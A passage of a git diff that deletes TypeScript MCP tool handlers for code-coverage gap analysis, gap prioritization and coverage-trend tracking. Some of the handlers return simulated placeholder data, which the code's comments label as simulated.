- // Find gaps based on projection indicators
- data.gapIndicators.forEach((indicator, index) => {
- if (indicator > 0) {
- gaps.push({
- id: `gap-jl-${gapId++}`,
- type: index % 3 === 0 ? 'line' : index % 3 === 1 ? 'branch' : 'function',
- file: targetPath,
- location: {
- startLine: index * 10 + 1,
- endLine: index * 10 + 8,
- },
- risk: indicator > 0.8 ? 'high' : indicator > 0.5 ? 'medium' : 'low',
- riskScore: Math.round(indicator * 100) / 100,
- reason: `Projected gap detected at dimension ${index}`,
- suggestions: ['Add test coverage for this area'],
- });
- }
- });
-
- return gaps;
-}
-
-function generateFileCoverage(targetPath: string): FileCoverage[] {
- // Simulated file coverage data
- return [
- {
- path: targetPath,
- lines: { covered: 180, total: 250, percentage: 72 },
- branches: { covered: 35, total: 60, percentage: 58.3 },
- functions: { covered: 18, total: 22, percentage: 81.8 },
- uncoveredRanges: [
- { start: 25, end: 35 },
- { start: 80, end: 95 },
- { start: 150, end: 160 },
- ],
- complexity: 15,
- },
- {
- path: targetPath.replace(/\/[^/]+$/, '/utils.ts'),
- lines: { covered: 95, total: 100, percentage: 95 },
- branches: { covered: 20, total: 24, percentage: 83.3 },
- functions: { covered: 10, total: 10, percentage: 100 },
- uncoveredRanges: [{ start: 45, end: 50 }],
- complexity: 8,
- },
- ];
-}
-
-function findAllGaps(files: FileCoverage[]): CoverageGap[] {
- const gaps: CoverageGap[] = [];
- let gapId = 0;
-
- for (const file of files) {
- for (const range of file.uncoveredRanges) {
- gaps.push({
- id: `gap-fs-${gapId++}`,
- type: 'line',
- file: file.path,
- location: {
- startLine: range.start,
- endLine: range.end,
- },
- risk: calculateRisk(file, range),
- riskScore: calculateRiskScore(file, range),
- reason: `Lines ${range.start}-${range.end} not covered`,
- suggestions: generateSuggestions(file, range),
- });
- }
- }
-
- return gaps;
-}
-
-function calculateSummaryFromProjection(data: ProjectedData, files: FileCoverage[]): CoverageSummary {
- // Aggregate from files
- return calculateSummary(files);
-}
-
-function calculateSummary(files: FileCoverage[]): CoverageSummary {
- const totals = files.reduce(
- (acc, file) => ({
- linesCovered: acc.linesCovered + file.lines.covered,
- linesTotal: acc.linesTotal + file.lines.total,
- branchesCovered: acc.branchesCovered + file.branches.covered,
- branchesTotal: acc.branchesTotal + file.branches.total,
- functionsCovered: acc.functionsCovered + file.functions.covered,
- functionsTotal: acc.functionsTotal + file.functions.total,
- }),
- {
- linesCovered: 0,
- linesTotal: 0,
- branchesCovered: 0,
- branchesTotal: 0,
- functionsCovered: 0,
- functionsTotal: 0,
- }
- );
-
- const linePct = (totals.linesCovered / totals.linesTotal) * 100;
- const branchPct = (totals.branchesCovered / totals.branchesTotal) * 100;
- const funcPct = (totals.functionsCovered / totals.functionsTotal) * 100;
- const stmtPct = linePct; // Simplified
-
- return {
- lines: {
- covered: totals.linesCovered,
- total: totals.linesTotal,
- percentage: Math.round(linePct * 10) / 10,
- },
- branches: {
- covered: totals.branchesCovered,
- total: totals.branchesTotal,
- percentage: Math.round(branchPct * 10) / 10,
- },
- functions: {
- covered: totals.functionsCovered,
- total: totals.functionsTotal,
- percentage: Math.round(funcPct * 10) / 10,
- },
- statements: {
- covered: totals.linesCovered,
- total: totals.linesTotal,
- percentage: Math.round(stmtPct * 10) / 10,
- },
- overall: Math.round(((linePct + branchPct + funcPct) / 3) * 10) / 10,
- trend: 'stable',
- };
-}
-
-function prioritizeGaps(gaps: CoverageGap[]): CoverageGap[] {
- const riskOrder = { critical: 0, high: 1, medium: 2, low: 3 };
- return [...gaps].sort((a, b) => {
- const riskDiff = riskOrder[a.risk] - riskOrder[b.risk];
- if (riskDiff !== 0) return riskDiff;
- return b.riskScore - a.riskScore;
- });
-}
-
-function calculateRisk(
- file: FileCoverage,
- range: { start: number; end: number }
-): 'critical' | 'high' | 'medium' | 'low' {
- const size = range.end - range.start;
- if (size > 20 && file.complexity > 10) return 'critical';
- if (size > 10 || file.complexity > 10) return 'high';
- if (size > 5) return 'medium';
- return 'low';
-}
-
-function calculateRiskScore(file: FileCoverage, range: { start: number; end: number }): number {
- const sizeFactor = (range.end - range.start) / 100;
- const complexityFactor = file.complexity / 50;
- const coverageFactor = (100 - file.lines.percentage) / 100;
- return Math.round((sizeFactor + complexityFactor + coverageFactor) * 33.3) / 100;
-}
-
-function generateSuggestions(
- file: FileCoverage,
- range: { start: number; end: number }
-): string[] {
- const suggestions: string[] = [];
-
- suggestions.push(`Add tests covering lines ${range.start}-${range.end}`);
-
- if (range.end - range.start > 10) {
- suggestions.push('Consider splitting into smaller testable units');
- }
-
- if (file.complexity > 10) {
- suggestions.push('High complexity - consider refactoring before testing');
- }
-
- return suggestions;
-}
-
-function checkThresholds(
- summary: CoverageSummary,
- thresholds: { line: number; branch: number; function: number }
-): ThresholdResult[] {
- return [
- {
- metric: 'line',
- threshold: thresholds.line,
- actual: summary.lines.percentage,
- passed: summary.lines.percentage >= thresholds.line,
- gap: Math.max(0, thresholds.line - summary.lines.percentage),
- },
- {
- metric: 'branch',
- threshold: thresholds.branch,
- actual: summary.branches.percentage,
- passed: summary.branches.percentage >= thresholds.branch,
- gap: Math.max(0, thresholds.branch - summary.branches.percentage),
- },
- {
- metric: 'function',
- threshold: thresholds.function,
- actual: summary.functions.percentage,
- passed: summary.functions.percentage >= thresholds.function,
- gap: Math.max(0, thresholds.function - summary.functions.percentage),
- },
- ];
-}
-
-// Export tool definition for MCP registration
-export const toolDefinition = {
- name: 'aqe/analyze-coverage',
- description: 'Analyze code coverage with O(log n) Johnson-Lindenstrauss gap detection',
- category: 'coverage-analysis',
- version: '3.2.3',
- inputSchema: AnalyzeCoverageInputSchema,
- handler,
-};
-
-export default toolDefinition;
diff --git a/v3/plugins/agentic-qe/src/tools/coverage-analysis/prioritize-gaps.ts b/v3/plugins/agentic-qe/src/tools/coverage-analysis/prioritize-gaps.ts
deleted file mode 100644
index 1969a340cb..0000000000
--- a/v3/plugins/agentic-qe/src/tools/coverage-analysis/prioritize-gaps.ts
+++ /dev/null
@@ -1,579 +0,0 @@
-/**
- * prioritize-gaps.ts - Risk-based gap prioritization MCP tool handler
- *
- * Prioritizes coverage gaps based on multiple risk factors including
- * code complexity, change frequency, business criticality, and defect history.
- */
-
-import { z } from 'zod';
-
-// Input schema for prioritize-gaps tool
-export const PrioritizeGapsInputSchema = z.object({
- gaps: z
- .array(
- z.object({
- id: z.string(),
- type: z.enum(['line', 'branch', 'function']),
- file: z.string(),
- startLine: z.number(),
- endLine: z.number(),
- })
- )
- .optional()
- .describe('Pre-analyzed gaps (or will analyze from targetPath)'),
- targetPath: z.string().optional().describe('Path to analyze if gaps not provided'),
- factors: z
- .array(
- z.enum([
- 'complexity',
- 'change-frequency',
- 'defect-history',
- 'business-critical',
- 'dependency-count',
- 'test-difficulty',
- ])
- )
- .default(['complexity', 'change-frequency', 'defect-history'])
- .describe('Prioritization factors'),
- weights: z
- .object({
- complexity: z.number().min(0).max(1).default(0.25),
- changeFrequency: z.number().min(0).max(1).default(0.25),
- defectHistory: z.number().min(0).max(1).default(0.2),
- businessCritical: z.number().min(0).max(1).default(0.15),
- dependencyCount: z.number().min(0).max(1).default(0.1),
- testDifficulty: z.number().min(0).max(1).default(0.05),
- })
- .optional()
- .describe('Custom weights for prioritization factors'),
- limit: z.number().min(1).max(100).default(20).describe('Maximum gaps to return'),
- groupBy: z
- .enum(['risk', 'file', 'type', 'none'])
- .default('risk')
- .describe('How to group the results'),
-});
-
-export type PrioritizeGapsInput = z.infer<typeof PrioritizeGapsInputSchema>;
-
-// Output structures
-export interface PrioritizeGapsOutput {
- success: boolean;
- prioritizedGaps: PrioritizedGap[];
- groups: GapGroup[];
- statistics: PrioritizationStatistics;
- recommendations: Recommendation[];
- metadata: PrioritizationMetadata;
-}
-
-export interface PrioritizedGap {
- id: string;
- type: 'line' | 'branch' | 'function';
- file: string;
- location: { startLine: number; endLine: number };
- risk: 'critical' | 'high' | 'medium' | 'low';
- priorityScore: number;
- factors: FactorScore[];
- effort: 'low' | 'medium' | 'high';
- roi: number; // Return on investment for testing this gap
-}
-
-export interface FactorScore {
- factor: string;
- score: number;
- weight: number;
- contribution: number;
- details: string;
-}
-
-export interface GapGroup {
- name: string;
- count: number;
- avgPriorityScore: number;
- gaps: PrioritizedGap[];
-}
-
-export interface PrioritizationStatistics {
- totalGaps: number;
- criticalCount: number;
- highCount: number;
- mediumCount: number;
- lowCount: number;
- avgPriorityScore: number;
- avgEffort: string;
- estimatedTestingEffort: string;
-}
-
-export interface Recommendation {
- type: 'immediate-action' | 'short-term' | 'long-term';
- priority: number;
- description: string;
- affectedGaps: string[];
- expectedImpact: string;
-}
-
-export interface PrioritizationMetadata {
- analyzedAt: string;
- durationMs: number;
- factorsUsed: string[];
- weightsApplied: Record<string, number>;
-}
-
-// Tool context interface
-export interface ToolContext {
- get<T>(key: string): T | undefined;
-}
-
-// Default weights
-const DEFAULT_WEIGHTS = {
- complexity: 0.25,
- changeFrequency: 0.25,
- defectHistory: 0.2,
- businessCritical: 0.15,
- dependencyCount: 0.1,
- testDifficulty: 0.05,
-};
-
-/**
- * MCP Tool Handler for prioritize-gaps
- */
-export async function handler(
- input: PrioritizeGapsInput,
- context: ToolContext
-): Promise<{ content: Array<{ type: 'text'; text: string }> }> {
- const startTime = Date.now();
-
- try {
- // Validate input
- const validatedInput = PrioritizeGapsInputSchema.parse(input);
-
- // Get bridge for defect history lookup
- const bridge = context.get<{ searchSimilarPatterns: (q: string, k: number) => Promise<unknown[]> }>('aqe.bridge');
-
- // Get or generate gaps
- let gaps = validatedInput.gaps;
- if (!gaps || gaps.length === 0) {
- if (!validatedInput.targetPath) {
- throw new Error('Either gaps or targetPath must be provided');
- }
- gaps = await generateGapsFromPath(validatedInput.targetPath);
- }
-
- // Apply weights
- const weights = { ...DEFAULT_WEIGHTS, ...validatedInput.weights };
-
- // Calculate priority scores for each gap
- const prioritizedGaps = await calculatePriorities(
- gaps,
- validatedInput.factors,
- weights,
- bridge
- );
-
- // Sort by priority score
- prioritizedGaps.sort((a, b) => b.priorityScore - a.priorityScore);
-
- // Limit results
- const limitedGaps = prioritizedGaps.slice(0, validatedInput.limit);
-
- // Group results
- const groups = groupGaps(limitedGaps, validatedInput.groupBy);
-
- // Calculate statistics
- const statistics = calculateStatistics(prioritizedGaps);
-
- // Generate recommendations
- const recommendations = generateRecommendations(limitedGaps, statistics);
-
- // Build result
- const result: PrioritizeGapsOutput = {
- success: true,
- prioritizedGaps: limitedGaps,
- groups,
- statistics,
- recommendations,
- metadata: {
- analyzedAt: new Date().toISOString(),
- durationMs: Date.now() - startTime,
- factorsUsed: validatedInput.factors,
- weightsApplied: weights,
- },
- };
-
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(result, null, 2),
- },
- ],
- };
- } catch (error) {
- const errorMessage = error instanceof Error ? error.message : 'Unknown error';
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(
- {
- success: false,
- error: errorMessage,
- prioritizedGaps: [],
- metadata: {
- analyzedAt: new Date().toISOString(),
- durationMs: Date.now() - startTime,
- },
- },
- null,
- 2
- ),
- },
- ],
- };
- }
-}
-
-// Input gap type
-interface InputGap {
- id: string;
- type: 'line' | 'branch' | 'function';
- file: string;
- startLine: number;
- endLine: number;
-}
-
-async function generateGapsFromPath(targetPath: string): Promise<InputGap[]> {
- // Simulated gap generation
- return [
- { id: 'gap-1', type: 'branch', file: targetPath, startLine: 25, endLine: 35 },
- { id: 'gap-2', type: 'function', file: targetPath, startLine: 50, endLine: 70 },
- { id: 'gap-3', type: 'line', file: targetPath, startLine: 100, endLine: 105 },
- { id: 'gap-4', type: 'branch', file: targetPath, startLine: 120, endLine: 140 },
- { id: 'gap-5', type: 'function', file: targetPath, startLine: 200, endLine: 250 },
- ];
-}
-
-async function calculatePriorities(
- gaps: InputGap[],
- factors: string[],
- weights: Record<string, number>,
- bridge?: { searchSimilarPatterns: (q: string, k: number) => Promise<unknown[]> }
-): Promise<PrioritizedGap[]> {
- const prioritizedGaps: PrioritizedGap[] = [];
-
- for (const gap of gaps) {
- const factorScores: FactorScore[] = [];
- let totalScore = 0;
-
- // Calculate each factor
- if (factors.includes('complexity')) {
- const score = calculateComplexityScore(gap);
- const contribution = score * weights.complexity;
- factorScores.push({
- factor: 'complexity',
- score,
- weight: weights.complexity,
- contribution,
- details: `Cyclomatic complexity: ${Math.round(score * 20)}`,
- });
- totalScore += contribution;
- }
-
- if (factors.includes('change-frequency')) {
- const score = calculateChangeFrequency(gap);
- const contribution = score * weights.changeFrequency;
- factorScores.push({
- factor: 'change-frequency',
- score,
- weight: weights.changeFrequency,
- contribution,
- details: `Changes in last 90 days: ${Math.round(score * 10)}`,
- });
- totalScore += contribution;
- }
-
- if (factors.includes('defect-history')) {
- const score = await calculateDefectHistory(gap, bridge);
- const contribution = score * weights.defectHistory;
- factorScores.push({
- factor: 'defect-history',
- score,
- weight: weights.defectHistory,
- contribution,
- details: `Historical defects: ${Math.round(score * 5)}`,
- });
- totalScore += contribution;
- }
-
- if (factors.includes('business-critical')) {
- const score = calculateBusinessCriticality(gap);
- const contribution = score * weights.businessCritical;
- factorScores.push({
- factor: 'business-critical',
- score,
- weight: weights.businessCritical,
- contribution,
- details: `Business impact: ${score > 0.7 ? 'high' : score > 0.4 ? 'medium' : 'low'}`,
- });
- totalScore += contribution;
- }
-
- if (factors.includes('dependency-count')) {
- const score = calculateDependencyScore(gap);
- const contribution = score * weights.dependencyCount;
- factorScores.push({
- factor: 'dependency-count',
- score,
- weight: weights.dependencyCount,
- contribution,
- details: `Dependents: ${Math.round(score * 15)}`,
- });
- totalScore += contribution;
- }
-
- if (factors.includes('test-difficulty')) {
- const score = calculateTestDifficulty(gap);
- const contribution = score * weights.testDifficulty;
- factorScores.push({
- factor: 'test-difficulty',
- score,
- weight: weights.testDifficulty,
- contribution,
- details: `Test complexity: ${score > 0.7 ? 'hard' : score > 0.4 ? 'medium' : 'easy'}`,
- });
- totalScore += contribution;
- }
-
- // Normalize score
- const priorityScore = Math.round(totalScore * 100) / 100;
-
- // Determine risk level
- const risk = scoreToRisk(priorityScore);
-
- // Calculate effort and ROI
- const effort = calculateEffort(gap, factorScores);
- const roi = calculateROI(priorityScore, effort);
-
- prioritizedGaps.push({
- id: gap.id,
- type: gap.type,
- file: gap.file,
- location: { startLine: gap.startLine, endLine: gap.endLine },
- risk,
- priorityScore,
- factors: factorScores,
- effort,
- roi,
- });
- }
-
- return prioritizedGaps;
-}
-
-function calculateComplexityScore(gap: InputGap): number {
- const lines = gap.endLine - gap.startLine;
- // Estimate cyclomatic complexity from line count
- const estimatedComplexity = lines / 5;
- return Math.min(estimatedComplexity / 10, 1);
-}
-
-function calculateChangeFrequency(gap: InputGap): number {
- // Simulated change frequency based on file location
- // In real implementation, would check git history
- const pathDepth = gap.file.split('/').length;
- return Math.min(pathDepth / 10, 1) * 0.8 + Math.random() * 0.2;
-}
-
-async function calculateDefectHistory(
- gap: InputGap,
- bridge?: { searchSimilarPatterns: (q: string, k: number) => Promise<unknown[]> }
-): Promise<number> {
- if (bridge) {
- try {
- const patterns = await bridge.searchSimilarPatterns(`defect ${gap.file}`, 3);
- return Math.min(patterns.length / 5, 1);
- } catch {
- // Fall through to simulated
- }
- }
- // Simulated defect history
- return Math.random() * 0.5;
-}
-
-function calculateBusinessCriticality(gap: InputGap): number {
- // Determine criticality based on file path
- const criticalPaths = ['auth', 'payment', 'security', 'core', 'api'];
- const pathLower = gap.file.toLowerCase();
- for (const path of criticalPaths) {
- if (pathLower.includes(path)) {
- return 0.9;
- }
- }
- return 0.3;
-}
-
-function calculateDependencyScore(gap: InputGap): number {
- // Simulated dependency count
- const lines = gap.endLine - gap.startLine;
- return Math.min(lines / 50, 1);
-}
-
-function calculateTestDifficulty(gap: InputGap): number {
- // Estimate test difficulty
- const lines = gap.endLine - gap.startLine;
- if (lines > 30) return 0.8;
- if (lines > 15) return 0.5;
- return 0.2;
-}
-
-function scoreToRisk(score: number): 'critical' | 'high' | 'medium' | 'low' {
- if (score >= 0.75) return 'critical';
- if (score >= 0.5) return 'high';
- if (score >= 0.25) return 'medium';
- return 'low';
-}
-
-function calculateEffort(gap: InputGap, factors: FactorScore[]): 'low' | 'medium' | 'high' {
- const lines = gap.endLine - gap.startLine;
- const difficultyFactor = factors.find((f) => f.factor === 'test-difficulty');
- const difficulty = difficultyFactor?.score ?? 0.5;
-
- const effortScore = (lines / 50) * 0.5 + difficulty * 0.5;
- if (effortScore > 0.7) return 'high';
- if (effortScore > 0.3) return 'medium';
- return 'low';
-}
-
-function calculateROI(priorityScore: number, effort: 'low' | 'medium' | 'high'): number {
- const effortMultiplier = { low: 3, medium: 2, high: 1 };
- return Math.round(priorityScore * effortMultiplier[effort] * 100) / 100;
-}
-
-function groupGaps(gaps: PrioritizedGap[], groupBy: string): GapGroup[] {
- const groups: Map<string, PrioritizedGap[]> = new Map();
-
- for (const gap of gaps) {
- let key: string;
- switch (groupBy) {
- case 'risk':
- key = gap.risk;
- break;
- case 'file':
- key = gap.file;
- break;
- case 'type':
- key = gap.type;
- break;
- default:
- key = 'all';
- }
-
- if (!groups.has(key)) {
- groups.set(key, []);
- }
- groups.get(key)!.push(gap);
- }
-
- return Array.from(groups.entries()).map(([name, gapList]) => ({
- name,
- count: gapList.length,
- avgPriorityScore: Math.round((gapList.reduce((sum, g) => sum + g.priorityScore, 0) / gapList.length) * 100) / 100,
- gaps: gapList,
- }));
-}
-
-function calculateStatistics(gaps: PrioritizedGap[]): PrioritizationStatistics {
- const total = gaps.length;
- if (total === 0) {
- return {
- totalGaps: 0,
- criticalCount: 0,
- highCount: 0,
- mediumCount: 0,
- lowCount: 0,
- avgPriorityScore: 0,
- avgEffort: 'unknown',
- estimatedTestingEffort: '0 hours',
- };
- }
-
- const counts = { critical: 0, high: 0, medium: 0, low: 0 };
- const efforts = { low: 0, medium: 0, high: 0 };
-
- for (const gap of gaps) {
- counts[gap.risk]++;
- efforts[gap.effort]++;
- }
-
- const avgScore = gaps.reduce((sum, g) => sum + g.priorityScore, 0) / total;
-
- // Estimate testing effort
- const hours = efforts.low * 0.5 + efforts.medium * 2 + efforts.high * 5;
-
- return {
- totalGaps: total,
- criticalCount: counts.critical,
- highCount: counts.high,
- mediumCount: counts.medium,
- lowCount: counts.low,
- avgPriorityScore: Math.round(avgScore * 100) / 100,
- avgEffort: efforts.high > efforts.medium && efforts.high > efforts.low ? 'high' : efforts.medium > efforts.low ? 'medium' : 'low',
- estimatedTestingEffort: `${Math.round(hours)} hours`,
- };
-}
-
-function generateRecommendations(
- gaps: PrioritizedGap[],
- stats: PrioritizationStatistics
-): Recommendation[] {
- const recommendations: Recommendation[] = [];
-
- // Immediate action for critical gaps
- const criticalGaps = gaps.filter((g) => g.risk === 'critical');
- if (criticalGaps.length > 0) {
- recommendations.push({
- type: 'immediate-action',
- priority: 1,
- description: `Address ${criticalGaps.length} critical coverage gaps immediately`,
- affectedGaps: criticalGaps.map((g) => g.id),
- expectedImpact: 'Significant risk reduction',
- });
- }
-
- // High ROI opportunities
- const highROI = gaps.filter((g) => g.roi > 1).slice(0, 5);
- if (highROI.length > 0) {
- recommendations.push({
- type: 'short-term',
- priority: 2,
- description: `Focus on ${highROI.length} high-ROI gaps for maximum coverage impact`,
- affectedGaps: highROI.map((g) => g.id),
- expectedImpact: 'Best coverage improvement per effort invested',
- });
- }
-
- // Long-term refactoring
- const complexGaps = gaps.filter((g) => g.effort === 'high');
- if (complexGaps.length > 3) {
- recommendations.push({
- type: 'long-term',
- priority: 3,
- description: `Consider refactoring ${complexGaps.length} complex areas before testing`,
- affectedGaps: complexGaps.slice(0, 5).map((g) => g.id),
- expectedImpact: 'Improved testability and maintainability',
- });
- }
-
- return recommendations;
-}
-
-// Export tool definition for MCP registration
-export const toolDefinition = {
- name: 'aqe/prioritize-gaps',
- description: 'Prioritize coverage gaps by risk score using multiple weighted factors',
- category: 'coverage-analysis',
- version: '3.2.3',
- inputSchema: PrioritizeGapsInputSchema,
- handler,
-};
-
-export default toolDefinition;
diff --git a/v3/plugins/agentic-qe/src/tools/coverage-analysis/track-trends.ts b/v3/plugins/agentic-qe/src/tools/coverage-analysis/track-trends.ts
deleted file mode 100644
index d5e8e84d31..0000000000
--- a/v3/plugins/agentic-qe/src/tools/coverage-analysis/track-trends.ts
+++ /dev/null
@@ -1,581 +0,0 @@
-/**
- * track-trends.ts - Coverage trend tracking MCP tool handler
- *
- * Tracks coverage trends over time, detecting patterns, regressions,
- * and improvements to provide actionable insights.
- */
-
-import { z } from 'zod';
-
-// Input schema for track-trends tool
-export const TrackTrendsInputSchema = z.object({
- targetPath: z.string().optional().describe('Path to track (or all if not specified)'),
- timeRange: z
- .enum(['7d', '14d', '30d', '90d', '180d', '365d'])
- .default('30d')
- .describe('Time range for trend analysis'),
- metrics: z
- .array(z.enum(['line', 'branch', 'function', 'statement', 'overall']))
- .default(['line', 'branch', 'overall'])
- .describe('Metrics to track'),
- detectRegressions: z.boolean().default(true).describe('Flag coverage regressions'),
- regressionThreshold: z
- .number()
- .min(0)
- .max(100)
- .default(5)
- .describe('Percentage drop to flag as regression'),
- groupBy: z
- .enum(['day', 'week', 'month', 'commit'])
- .default('day')
- .describe('Grouping for trend data'),
- includeProjections: z.boolean().default(true).describe('Include future projections'),
- compareBaseline: z.string().optional().describe('Baseline date to compare against (ISO format)'),
-});
-
-export type TrackTrendsInput = z.infer<typeof TrackTrendsInputSchema>;
-
-// Output structures
-export interface TrackTrendsOutput {
- success: boolean;
- trends: TrendData;
- regressions: Regression[];
- improvements: Improvement[];
- projections: Projection[];
- insights: TrendInsight[];
- metadata: TrendMetadata;
-}
-
-export interface TrendData {
- timeRange: { start: string; end: string };
- dataPoints: TrendDataPoint[];
- aggregates: TrendAggregates;
- volatility: number;
-}
-
-export interface TrendDataPoint {
- date: string;
- commitHash?: string;
- metrics: Record<string, number>;
- filesChanged: number;
- testsAdded: number;
-}
-
-export interface TrendAggregates {
- avgLine: number;
- avgBranch: number;
- avgFunction: number;
- avgOverall: number;
- minOverall: number;
- maxOverall: number;
- change: number;
- changePercent: number;
-}
-
-export interface Regression {
- id: string;
- date: string;
- metric: string;
- before: number;
- after: number;
- drop: number;
- severity: 'minor' | 'moderate' | 'major' | 'critical';
- possibleCauses: string[];
- affectedFiles: string[];
-}
-
-export interface Improvement {
- id: string;
- date: string;
- metric: string;
- before: number;
- after: number;
- gain: number;
- type: 'test-addition' | 'refactoring' | 'dead-code-removal' | 'other';
- contributors: string[];
-}
-
-export interface Projection {
- metric: string;
- currentValue: number;
- projectedValue: number;
- targetDate: string;
- confidence: number;
- requiredPace: number;
- onTrack: boolean;
-}
-
-export interface TrendInsight {
- type: 'pattern' | 'anomaly' | 'recommendation' | 'warning';
- title: string;
- description: string;
- impact: 'low' | 'medium' | 'high';
- actionable: boolean;
- suggestedAction?: string;
-}
-
-export interface TrendMetadata {
- analyzedAt: string;
- durationMs: number;
- dataPointCount: number;
- timeRange: string;
- baselineDate?: string;
-}
-
-// Tool context interface
-export interface ToolContext {
- get<T>(key: string): T | undefined;
-}
-
-/**
- * MCP Tool Handler for track-trends
- */
-export async function handler(
- input: TrackTrendsInput,
- context: ToolContext
-): Promise<{ content: Array<{ type: 'text'; text: string }> }> {
- const startTime = Date.now();
-
- try {
- // Validate input
- const validatedInput = TrackTrendsInputSchema.parse(input);
-
- // Get memory bridge for historical data
- const bridge = context.get<{
- searchSimilarPatterns: (q: string, k: number) => Promise<unknown[]>;
- }>('aqe.bridge');
-
- // Calculate time range
- const { start, end } = calculateTimeRange(validatedInput.timeRange);
-
- // Fetch or generate trend data
- const trendData = await fetchTrendData(
- validatedInput.targetPath,
- start,
- end,
- validatedInput.metrics,
- validatedInput.groupBy,
- bridge
- );
-
- // Detect regressions
- const regressions = validatedInput.detectRegressions
- ? detectRegressions(trendData.dataPoints, validatedInput.regressionThreshold)
- : [];
-
- // Detect improvements
- const improvements = detectImprovements(trendData.dataPoints);
-
- // Generate projections
- const projections = validatedInput.includeProjections
- ? generateProjections(trendData, validatedInput.metrics)
- : [];
-
- // Generate insights
- const insights = generateInsights(trendData, regressions, improvements, projections);
-
- // Build result
- const result: TrackTrendsOutput = {
- success: true,
- trends: trendData,
- regressions,
- improvements,
- projections,
- insights,
- metadata: {
- analyzedAt: new Date().toISOString(),
- durationMs: Date.now() - startTime,
- dataPointCount: trendData.dataPoints.length,
- timeRange: validatedInput.timeRange,
- baselineDate: validatedInput.compareBaseline,
- },
- };
-
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(result, null, 2),
- },
- ],
- };
- } catch (error) {
- const errorMessage = error instanceof Error ? error.message : 'Unknown error';
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(
- {
- success: false,
- error: errorMessage,
- metadata: {
- analyzedAt: new Date().toISOString(),
- durationMs: Date.now() - startTime,
- },
- },
- null,
- 2
- ),
- },
- ],
- };
- }
-}
-
-function calculateTimeRange(range: string): { start: Date; end: Date } {
- const end = new Date();
- const start = new Date();
-
- const days = parseInt(range.replace('d', ''));
- start.setDate(start.getDate() - days);
-
- return { start, end };
-}
-
-async function fetchTrendData(
- targetPath: string | undefined,
- start: Date,
- end: Date,
- metrics: string[],
- groupBy: string,
- bridge?: { searchSimilarPatterns: (q: string, k: number) => Promise<unknown[]> }
-): Promise<TrendData> {
- // Try to fetch historical data from memory
- let historicalData: unknown[] = [];
- if (bridge) {
- try {
- historicalData = await bridge.searchSimilarPatterns('coverage-analysis', 100);
- } catch {
- // Continue with generated data
- }
- }
-
- // Generate trend data points
- const dataPoints = generateDataPoints(start, end, groupBy, metrics, historicalData);
-
- // Calculate aggregates
- const aggregates = calculateAggregates(dataPoints, metrics);
-
- // Calculate volatility
- const volatility = calculateVolatility(dataPoints);
-
- return {
- timeRange: {
- start: start.toISOString(),
- end: end.toISOString(),
- },
- dataPoints,
- aggregates,
- volatility,
- };
-}
-
-function generateDataPoints(
- start: Date,
- end: Date,
- groupBy: string,
- metrics: string[],
- historicalData: unknown[]
-): TrendDataPoint[] {
- const dataPoints: TrendDataPoint[] = [];
- const current = new Date(start);
-
- // Determine step size based on groupBy
- const stepDays = groupBy === 'day' ? 1 : groupBy === 'week' ? 7 : 30;
-
- // Base coverage values with slight trend
- let baseLine = 65 + Math.random() * 10;
- let baseBranch = 55 + Math.random() * 10;
- let baseFunction = 75 + Math.random() * 10;
-
- while (current <= end) {
- // Add some variation and slight upward trend
- baseLine = Math.min(baseLine + (Math.random() - 0.3) * 2, 95);
- baseBranch = Math.min(baseBranch + (Math.random() - 0.35) * 2, 90);
- baseFunction = Math.min(baseFunction + (Math.random() - 0.25) * 2, 98);
-
- const metricsData: Record<string, number> = {};
- if (metrics.includes('line')) metricsData.line = Math.round(baseLine * 10) / 10;
- if (metrics.includes('branch')) metricsData.branch = Math.round(baseBranch * 10) / 10;
- if (metrics.includes('function')) metricsData.function = Math.round(baseFunction * 10) / 10;
- if (metrics.includes('statement')) metricsData.statement = Math.round(baseLine * 10) / 10;
- if (metrics.includes('overall')) {
- const overall = (baseLine + baseBranch + baseFunction) / 3;
- metricsData.overall = Math.round(overall * 10) / 10;
- }
-
- dataPoints.push({
- date: current.toISOString().split('T')[0],
- commitHash: generateCommitHash(),
- metrics: metricsData,
- filesChanged: Math.floor(Math.random() * 10) + 1,
- testsAdded: Math.floor(Math.random() * 5),
- });
-
- current.setDate(current.getDate() + stepDays);
- }
-
- return dataPoints;
-}
-
-function generateCommitHash(): string {
- return Math.random().toString(16).substring(2, 9);
-}
-
-function calculateAggregates(dataPoints: TrendDataPoint[], metrics: string[]): TrendAggregates {
- if (dataPoints.length === 0) {
- return {
- avgLine: 0,
- avgBranch: 0,
- avgFunction: 0,
- avgOverall: 0,
- minOverall: 0,
- maxOverall: 0,
- change: 0,
- changePercent: 0,
- };
- }
-
- const sumLine = dataPoints.reduce((sum, dp) => sum + (dp.metrics.line || 0), 0);
- const sumBranch = dataPoints.reduce((sum, dp) => sum + (dp.metrics.branch || 0), 0);
- const sumFunction = dataPoints.reduce((sum, dp) => sum + (dp.metrics.function || 0), 0);
- const sumOverall = dataPoints.reduce((sum, dp) => sum + (dp.metrics.overall || 0), 0);
-
- const overallValues = dataPoints.map((dp) => dp.metrics.overall || 0);
- const minOverall = Math.min(...overallValues);
- const maxOverall = Math.max(...overallValues);
-
- const first = dataPoints[0].metrics.overall || 0;
- const last = dataPoints[dataPoints.length - 1].metrics.overall || 0;
- const change = last - first;
- const changePercent = first > 0 ? (change / first) * 100 : 0;
-
- return {
- avgLine: Math.round((sumLine / dataPoints.length) * 10) / 10,
- avgBranch: Math.round((sumBranch / dataPoints.length) * 10) / 10,
- avgFunction: Math.round((sumFunction / dataPoints.length) * 10) / 10,
- avgOverall: Math.round((sumOverall / dataPoints.length) * 10) / 10,
- minOverall: Math.round(minOverall * 10) / 10,
- maxOverall: Math.round(maxOverall * 10) / 10,
- change: Math.round(change * 10) / 10,
- changePercent: Math.round(changePercent * 10) / 10,
- };
-}
-
-function calculateVolatility(dataPoints: TrendDataPoint[]): number {
- if (dataPoints.length < 2) return 0;
-
- const overallValues = dataPoints.map((dp) => dp.metrics.overall || 0);
- const mean = overallValues.reduce((sum, v) => sum + v, 0) / overallValues.length;
-
- const squaredDiffs = overallValues.map((v) => Math.pow(v - mean, 2));
- const variance = squaredDiffs.reduce((sum, v) => sum + v, 0) / squaredDiffs.length;
-
- return Math.round(Math.sqrt(variance) * 100) / 100;
-}
-
-function detectRegressions(dataPoints: TrendDataPoint[], threshold: number): Regression[] {
- const regressions: Regression[] = [];
-
- for (let i = 1; i < dataPoints.length; i++) {
